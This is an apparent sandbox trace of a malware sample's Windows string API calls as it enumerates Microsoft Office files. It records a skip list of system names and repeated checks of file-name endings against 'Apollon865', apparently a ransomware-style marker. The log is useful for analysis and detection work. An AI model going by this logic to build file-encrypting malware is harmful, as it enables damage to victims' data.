	[0072.628] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2="temp") returned -1
	[0072.628] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2="pagefile.sys") returned -1
	[0072.628] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2="boot") returned 1
	[0072.628] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2="ids.txt") returned -1
	[0072.628] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2="ntuser.dat") returned -1
	[0072.628] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2="perflogs") returned -1
	[0072.628] lstrcmpiW (lpString1="GrooveIntlResource.dll", lpString2="MSBuild") returned -1
	[0072.628] lstrlenW (lpString="GrooveIntlResource.dll") returned 22
	[0072.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5") returned 60
	[0072.628] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GrooveIntlResource.dll" | out: lpString1="GrooveIntlResource.dll") returned="GrooveIntlResource.dll"
	[0072.628] lstrlenW (lpString="GrooveIntlResource.dll") returned 22
	[0072.628] lstrlenW (lpString="Apollon865") returned 10
	[0072.628] lstrcmpiW (lpString1="source.dll", lpString2="Apollon865") returned 1
	[0072.628] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GROOVE_COL.HXC" | out: lpString1="GROOVE_COL.HXC") returned="GROOVE_COL.HXC"
	[0072.628] lstrlenW (lpString="GROOVE_COL.HXC") returned 14
	[0072.628] lstrlenW (lpString="Apollon865") returned 10
	[0072.628] lstrcmpiW (lpString1="VE_COL.HXC", lpString2="Apollon865") returned 1
	[0072.628] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GROOVE_COL.HXT" | out: lpString1="GROOVE_COL.HXT") returned="GROOVE_COL.HXT"
	[0072.628] lstrlenW (lpString="GROOVE_COL.HXT") returned 14
	[0072.628] lstrlenW (lpString="Apollon865") returned 10
	[0072.628] lstrcmpiW (lpString1="VE_COL.HXT", lpString2="Apollon865") returned 1
	[0072.629] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GROOVE_F_COL.HXK" | out: lpString1="GROOVE_F_COL.HXK") returned="GROOVE_F_COL.HXK"
	[0072.629] lstrlenW (lpString="GROOVE_F_COL.HXK") returned 16
	[0072.629] lstrlenW (lpString="Apollon865") returned 10
	[0072.629] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.629] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GROOVE_K_COL.HXK" | out: lpString1="GROOVE_K_COL.HXK") returned="GROOVE_K_COL.HXK"
	[0072.629] lstrlenW (lpString="GROOVE_K_COL.HXK") returned 16
	[0072.629] lstrlenW (lpString="Apollon865") returned 10
	[0072.629] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.629] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="HVAC.VSL" | out: lpString1="HVAC.VSL") returned="HVAC.VSL"
	[0072.629] lstrlenW (lpString="HVAC.VSL") returned 8
	[0072.629] lstrlenW (lpString="Apollon865") returned 10
	[0072.629] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="HVACDIFF.VRD" | out: lpString1="HVACDIFF.VRD") returned="HVACDIFF.VRD"
	[0072.629] lstrlenW (lpString="HVACDIFF.VRD") returned 12
	[0072.629] lstrlenW (lpString="Apollon865") returned 10
	[0072.629] lstrcmpiW (lpString1="ACDIFF.VRD", lpString2="Apollon865") returned -1
	[0072.629] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="HVACDUCT.VRD" | out: lpString1="HVACDUCT.VRD") returned="HVACDUCT.VRD"
	[0072.629] lstrlenW (lpString="HVACDUCT.VRD") returned 12
	[0072.629] lstrlenW (lpString="Apollon865") returned 10
	[0072.629] lstrcmpiW (lpString1="ACDUCT.VRD", lpString2="Apollon865") returned -1
	[0072.629] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="INFINTL.DLL" | out: lpString1="INFINTL.DLL") returned="INFINTL.DLL"
	[0072.629] lstrlenW (lpString="INFINTL.DLL") returned 11
	[0072.629] lstrlenW (lpString="Apollon865") returned 10
	[0072.629] lstrcmpiW (lpString1="NFINTL.DLL", lpString2="Apollon865") returned 1
	[0072.630] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="INFOPATH.HXS" | out: lpString1="INFOPATH.HXS") returned="INFOPATH.HXS"
	[0072.630] lstrlenW (lpString="INFOPATH.HXS") returned 12
	[0072.630] lstrlenW (lpString="Apollon865") returned 10
	[0072.630] lstrcmpiW (lpString1="FOPATH.HXS", lpString2="Apollon865") returned 1
	[0072.630] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="INFOPATHEDITOR.HXS" | out: lpString1="INFOPATHEDITOR.HXS") returned="INFOPATHEDITOR.HXS"
	[0072.630] lstrlenW (lpString="INFOPATHEDITOR.HXS") returned 18
	[0072.630] lstrlenW (lpString="Apollon865") returned 10
	[0072.630] lstrcmpiW (lpString1="EDITOR.HXS", lpString2="Apollon865") returned 1
	[0072.630] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="INFOPATHEDITOR_COL.HXC" | out: lpString1="INFOPATHEDITOR_COL.HXC") returned="INFOPATHEDITOR_COL.HXC"
	[0072.630] lstrlenW (lpString="INFOPATHEDITOR_COL.HXC") returned 22
	[0072.630] lstrlenW (lpString="Apollon865") returned 10
	[0072.630] lstrcmpiW (lpString1="OR_COL.HXC", lpString2="Apollon865") returned 1
	[0072.630] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="INFOPATHEDITOR_COL.HXT" | out: lpString1="INFOPATHEDITOR_COL.HXT") returned="INFOPATHEDITOR_COL.HXT"
	[0072.630] lstrlenW (lpString="INFOPATHEDITOR_COL.HXT") returned 22
	[0072.630] lstrlenW (lpString="Apollon865") returned 10
	[0072.630] lstrcmpiW (lpString1="OR_COL.HXT", lpString2="Apollon865") returned 1
	[0072.630] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="INFOPATHEDITOR_F_COL.HXK" | out: lpString1="INFOPATHEDITOR_F_COL.HXK") returned="INFOPATHEDITOR_F_COL.HXK"
	[0072.630] lstrlenW (lpString="INFOPATHEDITOR_F_COL.HXK") returned 24
	[0072.630] lstrlenW (lpString="Apollon865") returned 10
	[0072.630] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.630] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="INFOPATHEDITOR_K_COL.HXK" | out: lpString1="INFOPATHEDITOR_K_COL.HXK") returned="INFOPATHEDITOR_K_COL.HXK"
	[0072.631] lstrlenW (lpString="INFOPATHEDITOR_K_COL.HXK") returned 24
	[0072.631] lstrlenW (lpString="Apollon865") returned 10
	[0072.631] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.631] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="INFOPATH_COL.HXC" | out: lpString1="INFOPATH_COL.HXC") returned="INFOPATH_COL.HXC"
	[0072.631] lstrlenW (lpString="INFOPATH_COL.HXC") returned 16
	[0072.631] lstrlenW (lpString="Apollon865") returned 10
	[0072.631] lstrcmpiW (lpString1="TH_COL.HXC", lpString2="Apollon865") returned 1
	[0072.631] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="INFOPATH_COL.HXT" | out: lpString1="INFOPATH_COL.HXT") returned="INFOPATH_COL.HXT"
	[0072.631] lstrlenW (lpString="INFOPATH_COL.HXT") returned 16
	[0072.631] lstrlenW (lpString="Apollon865") returned 10
	[0072.631] lstrcmpiW (lpString1="TH_COL.HXT", lpString2="Apollon865") returned 1
	[0072.631] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="INFOPATH_F_COL.HXK" | out: lpString1="INFOPATH_F_COL.HXK") returned="INFOPATH_F_COL.HXK"
	[0072.631] lstrlenW (lpString="INFOPATH_F_COL.HXK") returned 18
	[0072.631] lstrlenW (lpString="Apollon865") returned 10
	[0072.631] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.631] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="INFOPATH_K_COL.HXK" | out: lpString1="INFOPATH_K_COL.HXK") returned="INFOPATH_K_COL.HXK"
	[0072.631] lstrlenW (lpString="INFOPATH_K_COL.HXK") returned 18
	[0072.631] lstrlenW (lpString="Apollon865") returned 10
	[0072.631] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.631] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="INSTLIST.VRD" | out: lpString1="INSTLIST.VRD") returned="INSTLIST.VRD"
	[0072.631] lstrlenW (lpString="INSTLIST.VRD") returned 12
	[0072.631] lstrlenW (lpString="Apollon865") returned 10
	[0072.631] lstrcmpiW (lpString1="STLIST.VRD", lpString2="Apollon865") returned 1
	[0072.634] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="INVENTRY.VRD" | out: lpString1="INVENTRY.VRD") returned="INVENTRY.VRD"
	[0072.634] lstrlenW (lpString="INVENTRY.VRD") returned 12
	[0072.634] lstrlenW (lpString="Apollon865") returned 10
	[0072.634] lstrcmpiW (lpString1="VENTRY.VRD", lpString2="Apollon865") returned 1
	[0072.634] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Invite or Link.one" | out: lpString1="Invite or Link.one") returned="Invite or Link.one"
	[0072.634] lstrlenW (lpString="Invite or Link.one") returned 18
	[0072.634] lstrlenW (lpString="Apollon865") returned 10
	[0072.634] lstrcmpiW (lpString1="r Link.one", lpString2="Apollon865") returned 1
	[0072.635] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="IPDSINTL.DLL" | out: lpString1="IPDSINTL.DLL") returned="IPDSINTL.DLL"
	[0072.635] lstrlenW (lpString="IPDSINTL.DLL") returned 12
	[0072.635] lstrlenW (lpString="Apollon865") returned 10
	[0072.635] lstrcmpiW (lpString1="DSINTL.DLL", lpString2="Apollon865") returned 1
	[0072.635] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="IPEDINTL.DLL" | out: lpString1="IPEDINTL.DLL") returned="IPEDINTL.DLL"
	[0072.635] lstrlenW (lpString="IPEDINTL.DLL") returned 12
	[0072.635] lstrlenW (lpString="Apollon865") returned 10
	[0072.635] lstrcmpiW (lpString1="EDINTL.DLL", lpString2="Apollon865") returned 1
	[0072.635] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="IPOLKINTL.DLL" | out: lpString1="IPOLKINTL.DLL") returned="IPOLKINTL.DLL"
	[0072.635] lstrlenW (lpString="IPOLKINTL.DLL") returned 13
	[0072.635] lstrlenW (lpString="Apollon865") returned 10
	[0072.635] lstrcmpiW (lpString1="LKINTL.DLL", lpString2="Apollon865") returned 1
	[0072.635] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Issue Tracking.gta" | out: lpString1="Issue Tracking.gta") returned="Issue Tracking.gta"
	[0072.635] lstrlenW (lpString="Issue Tracking.gta") returned 18
	[0072.635] lstrlenW (lpString="Apollon865") returned 10
	[0072.635] lstrcmpiW (lpString1="acking.gta", lpString2="Apollon865") returned -1
	[0072.635] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="JADE.CSS" | out: lpString1="JADE.CSS") returned="JADE.CSS"
	[0072.635] lstrlenW (lpString="JADE.CSS") returned 8
	[0072.635] lstrlenW (lpString="Apollon865") returned 10
	[0072.635] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="LGND.VSL" | out: lpString1="LGND.VSL") returned="LGND.VSL"
	[0072.635] lstrlenW (lpString="LGND.VSL") returned 8
	[0072.635] lstrlenW (lpString="Apollon865") returned 10
	[0072.636] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MAPIR.DLL" | out: lpString1="MAPIR.DLL") returned="MAPIR.DLL"
	[0072.636] lstrlenW (lpString="MAPIR.DLL") returned 9
	[0072.636] lstrlenW (lpString="Apollon865") returned 10
	[0072.636] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MAPIR.DLL.IDX_DLL" | out: lpString1="MAPIR.DLL.IDX_DLL") returned="MAPIR.DLL.IDX_DLL"
	[0072.636] lstrlenW (lpString="MAPIR.DLL.IDX_DLL") returned 17
	[0072.636] lstrlenW (lpString="Apollon865") returned 10
	[0072.636] lstrcmpiW (lpString1="LL.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.636] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MAPISHELLR.DLL" | out: lpString1="MAPISHELLR.DLL") returned="MAPISHELLR.DLL"
	[0072.636] lstrlenW (lpString="MAPISHELLR.DLL") returned 14
	[0072.636] lstrlenW (lpString="Apollon865") returned 10
	[0072.636] lstrcmpiW (lpString1="SHELLR.DLL", lpString2="Apollon865") returned 1
	[0072.636] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MERES.DLL" | out: lpString1="MERES.DLL") returned="MERES.DLL"
	[0072.636] lstrlenW (lpString="MERES.DLL") returned 9
	[0072.636] lstrlenW (lpString="Apollon865") returned 10
	[0072.636] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MOR6INT.DLL" | out: lpString1="MOR6INT.DLL") returned="MOR6INT.DLL"
	[0072.636] lstrlenW (lpString="MOR6INT.DLL") returned 11
	[0072.636] lstrlenW (lpString="Apollon865") returned 10
	[0072.636] lstrcmpiW (lpString1="OR6INT.DLL", lpString2="Apollon865") returned 1
	[0072.636] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MOR6INT.REST.IDX_DLL" | out: lpString1="MOR6INT.REST.IDX_DLL") returned="MOR6INT.REST.IDX_DLL"
	[0072.636] lstrlenW (lpString="MOR6INT.REST.IDX_DLL") returned 20
	[0072.636] lstrlenW (lpString="Apollon865") returned 10
	[0072.637] lstrcmpiW (lpString1="ST.IDX_DLL", lpString2="Apollon865") returned 1
	[0072.637] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MOVE.VRD" | out: lpString1="MOVE.VRD") returned="MOVE.VRD"
	[0072.637] lstrlenW (lpString="MOVE.VRD") returned 8
	[0072.637] lstrlenW (lpString="Apollon865") returned 10
	[0072.637] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MPXRES.DLL" | out: lpString1="MPXRES.DLL") returned="MPXRES.DLL"
	[0072.637] lstrlenW (lpString="MPXRES.DLL") returned 10
	[0072.637] lstrlenW (lpString="Apollon865") returned 10
	[0072.637] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSACCESS.DEV.HXS" | out: lpString1="MSACCESS.DEV.HXS") returned="MSACCESS.DEV.HXS"
	[0072.637] lstrlenW (lpString="MSACCESS.DEV.HXS") returned 16
	[0072.637] lstrlenW (lpString="Apollon865") returned 10
	[0072.637] lstrcmpiW (lpString1="SS.DEV.HXS", lpString2="Apollon865") returned 1
	[0072.637] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSACCESS.DEV_COL.HXC" | out: lpString1="MSACCESS.DEV_COL.HXC") returned="MSACCESS.DEV_COL.HXC"
	[0072.637] lstrlenW (lpString="MSACCESS.DEV_COL.HXC") returned 20
	[0072.637] lstrlenW (lpString="Apollon865") returned 10
	[0072.637] lstrcmpiW (lpString1="EV_COL.HXC", lpString2="Apollon865") returned 1
	[0072.637] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSACCESS.DEV_COL.HXT" | out: lpString1="MSACCESS.DEV_COL.HXT") returned="MSACCESS.DEV_COL.HXT"
	[0072.637] lstrlenW (lpString="MSACCESS.DEV_COL.HXT") returned 20
	[0072.637] lstrlenW (lpString="Apollon865") returned 10
	[0072.637] lstrcmpiW (lpString1="EV_COL.HXT", lpString2="Apollon865") returned 1
	[0072.638] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSACCESS.DEV_F_COL.HXK" | out: lpString1="MSACCESS.DEV_F_COL.HXK") returned="MSACCESS.DEV_F_COL.HXK"
	[0072.638] lstrlenW (lpString="MSACCESS.DEV_F_COL.HXK") returned 22
	[0072.638] lstrlenW (lpString="Apollon865") returned 10
	[0072.638] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.638] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSACCESS.DEV_K_COL.HXK" | out: lpString1="MSACCESS.DEV_K_COL.HXK") returned="MSACCESS.DEV_K_COL.HXK"
	[0072.638] lstrlenW (lpString="MSACCESS.DEV_K_COL.HXK") returned 22
	[0072.638] lstrlenW (lpString="Apollon865") returned 10
	[0072.638] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.638] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSACCESS.HXS" | out: lpString1="MSACCESS.HXS") returned="MSACCESS.HXS"
	[0072.638] lstrlenW (lpString="MSACCESS.HXS") returned 12
	[0072.638] lstrlenW (lpString="Apollon865") returned 10
	[0072.638] lstrcmpiW (lpString1="ACCESS.HXS", lpString2="Apollon865") returned -1
	[0072.638] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSACCESS_COL.HXC" | out: lpString1="MSACCESS_COL.HXC") returned="MSACCESS_COL.HXC"
	[0072.638] lstrlenW (lpString="MSACCESS_COL.HXC") returned 16
	[0072.638] lstrlenW (lpString="Apollon865") returned 10
	[0072.638] lstrcmpiW (lpString1="SS_COL.HXC", lpString2="Apollon865") returned 1
	[0072.638] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSACCESS_COL.HXT" | out: lpString1="MSACCESS_COL.HXT") returned="MSACCESS_COL.HXT"
	[0072.638] lstrlenW (lpString="MSACCESS_COL.HXT") returned 16
	[0072.638] lstrlenW (lpString="Apollon865") returned 10
	[0072.638] lstrcmpiW (lpString1="SS_COL.HXT", lpString2="Apollon865") returned 1
	[0072.638] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSACCESS_F_COL.HXK" | out: lpString1="MSACCESS_F_COL.HXK") returned="MSACCESS_F_COL.HXK"
	[0072.638] lstrlenW (lpString="MSACCESS_F_COL.HXK") returned 18
	[0072.639] lstrlenW (lpString="Apollon865") returned 10
	[0072.639] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.639] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSACCESS_K_COL.HXK" | out: lpString1="MSACCESS_K_COL.HXK") returned="MSACCESS_K_COL.HXK"
	[0072.639] lstrlenW (lpString="MSACCESS_K_COL.HXK") returned 18
	[0072.639] lstrlenW (lpString="Apollon865") returned 10
	[0072.639] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.639] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSAIN.DLL" | out: lpString1="MSAIN.DLL") returned="MSAIN.DLL"
	[0072.639] lstrlenW (lpString="MSAIN.DLL") returned 9
	[0072.639] lstrlenW (lpString="Apollon865") returned 10
	[0072.639] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSO.ACL" | out: lpString1="MSO.ACL") returned="MSO.ACL"
	[0072.639] lstrlenW (lpString="MSO.ACL") returned 7
	[0072.639] lstrlenW (lpString="Apollon865") returned 10
	[0072.639] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSOUC.HXS" | out: lpString1="MSOUC.HXS") returned="MSOUC.HXS"
	[0072.639] lstrlenW (lpString="MSOUC.HXS") returned 9
	[0072.639] lstrlenW (lpString="Apollon865") returned 10
	[0072.639] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSOUC_COL.HXC" | out: lpString1="MSOUC_COL.HXC") returned="MSOUC_COL.HXC"
	[0072.639] lstrlenW (lpString="MSOUC_COL.HXC") returned 13
	[0072.639] lstrlenW (lpString="Apollon865") returned 10
	[0072.639] lstrcmpiW (lpString1="UC_COL.HXC", lpString2="Apollon865") returned 1
	[0072.639] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSOUC_COL.HXT" | out: lpString1="MSOUC_COL.HXT") returned="MSOUC_COL.HXT"
	[0072.639] lstrlenW (lpString="MSOUC_COL.HXT") returned 13
	[0072.640] lstrlenW (lpString="Apollon865") returned 10
	[0072.640] lstrcmpiW (lpString1="UC_COL.HXT", lpString2="Apollon865") returned 1
	[0072.640] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSOUC_F_COL.HXK" | out: lpString1="MSOUC_F_COL.HXK") returned="MSOUC_F_COL.HXK"
	[0072.640] lstrlenW (lpString="MSOUC_F_COL.HXK") returned 15
	[0072.640] lstrlenW (lpString="Apollon865") returned 10
	[0072.640] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.644] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSOUC_K_COL.HXK" | out: lpString1="MSOUC_K_COL.HXK") returned="MSOUC_K_COL.HXK"
	[0072.645] lstrlenW (lpString="MSOUC_K_COL.HXK") returned 15
	[0072.645] lstrlenW (lpString="Apollon865") returned 10
	[0072.645] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.645] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSPUB.DEV.HXS" | out: lpString1="MSPUB.DEV.HXS") returned="MSPUB.DEV.HXS"
	[0072.645] lstrlenW (lpString="MSPUB.DEV.HXS") returned 13
	[0072.645] lstrlenW (lpString="Apollon865") returned 10
	[0072.645] lstrcmpiW (lpString1="UB.DEV.HXS", lpString2="Apollon865") returned 1
	[0072.645] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSPUB.DEV_COL.HXC" | out: lpString1="MSPUB.DEV_COL.HXC") returned="MSPUB.DEV_COL.HXC"
	[0072.645] lstrlenW (lpString="MSPUB.DEV_COL.HXC") returned 17
	[0072.645] lstrlenW (lpString="Apollon865") returned 10
	[0072.645] lstrcmpiW (lpString1="EV_COL.HXC", lpString2="Apollon865") returned 1
	[0072.645] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSPUB.DEV_COL.HXT" | out: lpString1="MSPUB.DEV_COL.HXT") returned="MSPUB.DEV_COL.HXT"
	[0072.645] lstrlenW (lpString="MSPUB.DEV_COL.HXT") returned 17
	[0072.645] lstrlenW (lpString="Apollon865") returned 10
	[0072.645] lstrcmpiW (lpString1="EV_COL.HXT", lpString2="Apollon865") returned 1
	[0072.645] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSPUB.DEV_F_COL.HXK" | out: lpString1="MSPUB.DEV_F_COL.HXK") returned="MSPUB.DEV_F_COL.HXK"
	[0072.645] lstrlenW (lpString="MSPUB.DEV_F_COL.HXK") returned 19
	[0072.645] lstrlenW (lpString="Apollon865") returned 10
	[0072.645] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.645] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSPUB.DEV_K_COL.HXK" | out: lpString1="MSPUB.DEV_K_COL.HXK") returned="MSPUB.DEV_K_COL.HXK"
	[0072.645] lstrlenW (lpString="MSPUB.DEV_K_COL.HXK") returned 19
	[0072.645] lstrlenW (lpString="Apollon865") returned 10
	[0072.646] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.646] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSPUB.HXS" | out: lpString1="MSPUB.HXS") returned="MSPUB.HXS"
	[0072.646] lstrlenW (lpString="MSPUB.HXS") returned 9
	[0072.646] lstrlenW (lpString="Apollon865") returned 10
	[0072.646] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSPUB.OPG" | out: lpString1="MSPUB.OPG") returned="MSPUB.OPG"
	[0072.646] lstrlenW (lpString="MSPUB.OPG") returned 9
	[0072.646] lstrlenW (lpString="Apollon865") returned 10
	[0072.646] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSPUB_COL.HXC" | out: lpString1="MSPUB_COL.HXC") returned="MSPUB_COL.HXC"
	[0072.646] lstrlenW (lpString="MSPUB_COL.HXC") returned 13
	[0072.646] lstrlenW (lpString="Apollon865") returned 10
	[0072.646] lstrcmpiW (lpString1="UB_COL.HXC", lpString2="Apollon865") returned 1
	[0072.646] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSPUB_COL.HXT" | out: lpString1="MSPUB_COL.HXT") returned="MSPUB_COL.HXT"
	[0072.646] lstrlenW (lpString="MSPUB_COL.HXT") returned 13
	[0072.646] lstrlenW (lpString="Apollon865") returned 10
	[0072.646] lstrcmpiW (lpString1="UB_COL.HXT", lpString2="Apollon865") returned 1
	[0072.646] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSPUB_F_COL.HXK" | out: lpString1="MSPUB_F_COL.HXK") returned="MSPUB_F_COL.HXK"
	[0072.646] lstrlenW (lpString="MSPUB_F_COL.HXK") returned 15
	[0072.646] lstrlenW (lpString="Apollon865") returned 10
	[0072.646] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.646] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSPUB_K_COL.HXK" | out: lpString1="MSPUB_K_COL.HXK") returned="MSPUB_K_COL.HXK"
	[0072.646] lstrlenW (lpString="MSPUB_K_COL.HXK") returned 15
	[0072.646] lstrlenW (lpString="Apollon865") returned 10
	[0072.647] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.647] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSQRY32.CHM" | out: lpString1="MSQRY32.CHM") returned="MSQRY32.CHM"
	[0072.647] lstrlenW (lpString="MSQRY32.CHM") returned 11
	[0072.647] lstrlenW (lpString="Apollon865") returned 10
	[0072.647] lstrcmpiW (lpString1="SQRY32.CHM", lpString2="Apollon865") returned 1
	[0072.647] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSTINTL.DLL" | out: lpString1="MSTINTL.DLL") returned="MSTINTL.DLL"
	[0072.647] lstrlenW (lpString="MSTINTL.DLL") returned 11
	[0072.647] lstrlenW (lpString="Apollon865") returned 10
	[0072.647] lstrcmpiW (lpString1="STINTL.DLL", lpString2="Apollon865") returned 1
	[0072.647] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSTORE.HXS" | out: lpString1="MSTORE.HXS") returned="MSTORE.HXS"
	[0072.647] lstrlenW (lpString="MSTORE.HXS") returned 10
	[0072.647] lstrlenW (lpString="Apollon865") returned 10
	[0072.647] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSTORE_COL.HXC" | out: lpString1="MSTORE_COL.HXC") returned="MSTORE_COL.HXC"
	[0072.647] lstrlenW (lpString="MSTORE_COL.HXC") returned 14
	[0072.647] lstrlenW (lpString="Apollon865") returned 10
	[0072.647] lstrcmpiW (lpString1="RE_COL.HXC", lpString2="Apollon865") returned 1
	[0072.647] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSTORE_COL.HXT" | out: lpString1="MSTORE_COL.HXT") returned="MSTORE_COL.HXT"
	[0072.647] lstrlenW (lpString="MSTORE_COL.HXT") returned 14
	[0072.647] lstrlenW (lpString="Apollon865") returned 10
	[0072.647] lstrcmpiW (lpString1="RE_COL.HXT", lpString2="Apollon865") returned 1
	[0072.647] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSTORE_F_COL.HXK" | out: lpString1="MSTORE_F_COL.HXK") returned="MSTORE_F_COL.HXK"
	[0072.648] lstrlenW (lpString="MSTORE_F_COL.HXK") returned 16
	[0072.648] lstrlenW (lpString="Apollon865") returned 10
	[0072.648] lstrcmpiW (lpString1="_F_COL.HXK", lpString2="Apollon865") returned -1
	[0072.648] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSTORE_K_COL.HXK" | out: lpString1="MSTORE_K_COL.HXK") returned="MSTORE_K_COL.HXK"
	[0072.648] lstrlenW (lpString="MSTORE_K_COL.HXK") returned 16
	[0072.648] lstrlenW (lpString="Apollon865") returned 10
	[0072.648] lstrcmpiW (lpString1="_K_COL.HXK", lpString2="Apollon865") returned -1
	[0072.648] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="NETWORK.CSS" | out: lpString1="NETWORK.CSS") returned="NETWORK.CSS"
	[0072.648] lstrlenW (lpString="NETWORK.CSS") returned 11
	[0072.648] lstrlenW (lpString="Apollon865") returned 10
	[0072.648] lstrcmpiW (lpString1="ETWORK.CSS", lpString2="Apollon865") returned 1
	[0072.648] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="NETWORK1.VRD" | out: lpString1="NETWORK1.VRD") returned="NETWORK1.VRD"
	[0072.648] lstrlenW (lpString="NETWORK1.VRD") returned 12
	[0072.648] lstrlenW (lpString="Apollon865") returned 10
	[0072.648] lstrcmpiW (lpString1="TWORK1.VRD", lpString2="Apollon865") returned 1
	[0072.648] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="NETWORK2.VRD" | out: lpString1="NETWORK2.VRD") returned="NETWORK2.VRD"
	[0072.648] lstrlenW (lpString="NETWORK2.VRD") returned 12
	[0072.648] lstrlenW (lpString="Apollon865") returned 10
	[0072.648] lstrcmpiW (lpString1="TWORK2.VRD", lpString2="Apollon865") returned 1
	[0072.648] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="NETWORK3.VRD" | out: lpString1="NETWORK3.VRD") returned="NETWORK3.VRD"
	[0072.648] lstrlenW (lpString="NETWORK3.VRD") returned 12
	[0072.648] lstrlenW (lpString="Apollon865") returned 10
	[0072.648] lstrcmpiW (lpString1="TWORK3.VRD", lpString2="Apollon865") returned 1
